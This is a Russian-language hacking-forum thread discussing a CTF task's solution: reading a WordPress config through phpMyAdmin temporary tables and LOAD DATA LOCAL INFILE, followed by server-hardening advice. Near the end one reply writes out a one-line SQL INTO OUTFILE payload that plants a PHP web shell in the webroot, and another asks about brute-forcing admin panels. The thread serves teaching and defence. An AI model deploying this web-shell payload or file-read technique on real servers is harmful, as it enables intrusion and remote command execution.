Task # Task #3

Discussion in 'Задания/Квесты/CTF/Конкурсы' started by dooble, 26 Jan 2019.

  1. BabaDook

    BabaDook Level 8

    Joined:
    9 May 2015
    Messages:
    1,015
    Likes Received:
    1,363
    Reputations:
    43
    !=FALSE
     
  2. Gorbachev

    Gorbachev Active Member

    Joined:
    23 Mar 2017
    Messages:
    237
    Likes Received:
    105
    Reputations:
    58
    Вот это тебя бомбануло.
    Спорить не буду, у каждого свой опыт, о своем я написал, не стоит его воспринимать так близко к сердцу.
     
    t0ma5 likes this.
  3. Gorbachev

    Gorbachev Active Member

    Joined:
    23 Mar 2017
    Messages:
    237
    Likes Received:
    105
    Reputations:
    58
    А тем временем таск подходит к концу, не забываем, что это последнее задание из конкретно простых, и то, сколько было эмоций и пригоревших жоп.
    Я уже в ожидании конкретно сложного таска :D
     
    dooble likes this.
  4. Stepan999

    Stepan999 Member

    Joined:
    18 Dec 2018
    Messages:
    3
    Likes Received:
    9
    Reputations:
    7
    Прошел. Теперь я знаю немножечко больше. :)
     
  5. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    147
    Likes Received:
    396
    Reputations:
    103
    Закрываем задание.

    Первым делом нужно было найти "дверь".
    Это phpmyadmin.
    И дверь и "ключи" к ней можно найти без сканеров и брута.
    Но на первый взгляд, если это и дверь, то ведет она в тупик, поскольку права у доступных учеток сильно порезаны.
    И даже такой привычный инструмент, как load data local infile задействовать не получается, поскольку нет доступных таблиц и привилегий CREATE TABLE и INSERT.

    При всей первоначально кажущейся неприступности, решение становится очевидным, когда понимаем, что существуют еще и временные таблицы, и права на работу с ними выставляются отдельно, и в данном случае права имеются.

    Работать с временными таблицами почти так же удобно, как и с постоянными.
    Единственное отличие - существуют они только на время сеанса, поэтому все операции нужно производить единым блоком, в одном сеансе.

    В ПМА несколько запросов можно выполнить за один вызов, разделяя их точкой с запятой.
    Проблемы с чтением локальных файлов исчезают.

    Читаем конфиг Вордпресса, (расположен он в дефолтном месте, да и относительные пути подойдут - на каталог выше) и авторизуемся в ПМА с учеткой сайта.
    Видим в базе табличку wp_task, в ней поле flag - конец истории.

    Как можно было выйти на эти самые временные таблицы.
    Мысли, они текут разными путями, но самым простым и естественным способом - задействовать штатные средства, команду "SHOW GRANTS", которая и показывает, какие права у нас есть.

    Кто шел не первым, мог посмотреть статистику запросов - тоже хорошая подсказка.

    Собственно решение умещается в три строчки, которые нужно выполнить в окне SQL запросов.


     
    Coost, man474019, joelblack and 10 others like this.
  6. Gorbachev

    Gorbachev Active Member

    Joined:
    23 Mar 2017
    Messages:
    237
    Likes Received:
    105
    Reputations:
    58
    Разминочные задания окончены, теперь готовимся к основным таскам.

    PS: по поводу пути /var/www/html/ не догоняю, просто взяли его из прочитанных .php скриптов, или до трюка с LOAD DATA LOCAL где то раскрытие путей обнаружили?

    PPS: альтернативных решений таска не найдено ни одного?
     
    #66 Gorbachev, 9 Feb 2019
    Last edited: 9 Feb 2019
  7. redscout

    redscout Member

    Joined:
    29 Aug 2016
    Messages:
    8
    Likes Received:
    11
    Reputations:
    6

    /var/www/html/ - дефолтный путь веб-сервера в никсах.
     
    crlf likes this.
  8. crlf

    crlf Members of Antichat

    Joined:
    18 Mar 2016
    Messages:
    495
    Likes Received:
    870
    Reputations:
    312
    RCE в пятаке решили публично не оглашать :(
     
  9. BabaDook

    BabaDook Level 8

    Joined:
    9 May 2015
    Messages:
    1,015
    Likes Received:
    1,363
    Reputations:
    43
    Эх... А ведь давно знал об этом https://rdot.org/forum/showthread.php?t=741
    Вот что значит Skill.....
    Классный таск, жаль мозга нет такое решать
    п.с А так хотел хинтануть в стиле каретки.
    RDot.org :D Дубль красава.
     
  10. Jerri

    Jerri Level 8

    Joined:
    12 Jul 2009
    Messages:
    138
    Likes Received:
    371
    Reputations:
    22
    Не знал, что временная таблица будет существовать в том случае, если сделать несколько запросов через ;
    Жаль, был на верном пути в какой-то момент.
    Таск крутой)
     
    Spinus and dooble like this.
  11. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    147
    Likes Received:
    396
    Reputations:
    103
    Сеанс - это время, когда открыли соединение к серверу СУБД и до момента, когда коннект закрывается.
    В php связь закрывается принудительно по окончании работы скрипта, если раньше не закрыли явно.
    Пока работает скрипт временные таблицы существуют.
     
    Spinus, Gorev and Jerri like this.
  12. rudi

    rudi Active Member

    Joined:
    3 Jun 2010
    Messages:
    513
    Likes Received:
    148
    Reputations:
    5
    Ха, прикольно... я не знал что можно SQL запросом читать файлы... первый раз это слышу, теперь буду знать
     
    dooble likes this.
  13. fandor9

    fandor9 Member

    Joined:
    16 Nov 2018
    Messages:
    25
    Likes Received:
    14
    Reputations:
    2
    Спасибо за таск, возьму на заметку. С временными таблицами не докрутил до конца...
     
    dooble likes this.
  14. Coost

    Coost Active Member

    Joined:
    6 Jul 2017
    Messages:
    211
    Likes Received:
    195
    Reputations:
    5
    И всё-таки, народ, чем лучше брутить админки и конфиг?
    Есть что-то под вин или мб веб приложение?
     
  15. Gorbachev

    Gorbachev Active Member

    Joined:
    23 Mar 2017
    Messages:
    237
    Likes Received:
    105
    Reputations:
    58
    Свой скрипт написать на удобном ЯП, учесть все нюансы, и через него.
    Так как известные тулзы или по заголовкам детектят (что неправильно), или давятся большим файлом в случае его нахождения.
    Но таск пройти всё равно не поможет :D
     
  16. Coost

    Coost Active Member

    Joined:
    6 Jul 2017
    Messages:
    211
    Likes Received:
    195
    Reputations:
    5
    Это уже не к таску вопрос, а вообще. Просто тематика схожая. Нужен сканер директорий
     
  17. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    147
    Likes Received:
    396
    Reputations:
    103
    Поскольку мы занимаемся этичным хакингом, то должны уметь не только найти уязвимость, но и пропатчить ее.

    Какие можно дать рекомендации по настройке сервера.
    1) Отменить привилегию на создание временных таблиц
    2) Запретить использование load data local infile
    3) Использовать версию PhpMyAdmin >=4.8.5
    4) Не использовать PhpMyAdmin вообще, или ограничить доступ по ИП (ну или добавить бейсик-авторизацию )

    На втором пункте остановимся подробнее.
    Глобальная переменная local_infile определяет такую возможность, и по дефолту она включена.
    Чтобы запретить локальное чтение в my.ini (my.cnf) в раделы [mysqld] и [mysql] надо добавить
    local-infile = 0

    Но нужно помнить следующие вещи:
    При наличии прав Superuser настройку можно переопределить командой (прямо в ПМА)
    SET GLOBAL local_infile=1;

    Кроме того в php есть бага реализации mysqli_real_connect, которая игнорирует (перезаписывает) состояние переменной local-infile, если перед вызовом функции в опциях указать свое значение local_infile, например
    Code:
    $mysqli = mysqli_init();
    $mysqli->options(MYSQLI_OPT_LOCAL_INFILE, true);
    $mysqli->real_connect($host, $username, $password, $database);
    Еще есть одна засада, (просто для полноты описания проблемы) команда mysqlimport с опцией --local, проигнорирует настройки и отработает аналогично разрешенной load data local infile.
     
    p4ulinho, Gorbachev and BillyBons like this.
  18. I_I

    I_I New Member

    Joined:
    22 Nov 2013
    Messages:
    62
    Likes Received:
    2
    Reputations:
    0
    Прикольный task, у меня вопрос, через базу данных можно изменять файлы или только читать?

    Например если я хочу изменить файл из базы данных
    var/www/html/wp-config.php
    как я могу это сделать?
     
  19. grimnir

    grimnir Reservists Of Antichat

    Joined:
    23 Apr 2012
    Messages:
    1,107
    Likes Received:
    751
    Reputations:
    200
    если права есть на запись, file_priv то можно
    Code:
    SELECT "<?php system($_GET['cmd']); ?>" into outfile "var/www/html/wp-config"
     
    _________________________
  20. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    147
    Likes Received:
    396
    Reputations:
    103
    Изменить нельзя, можно только создать новый файл.
     
    grimnir likes this.
Loading...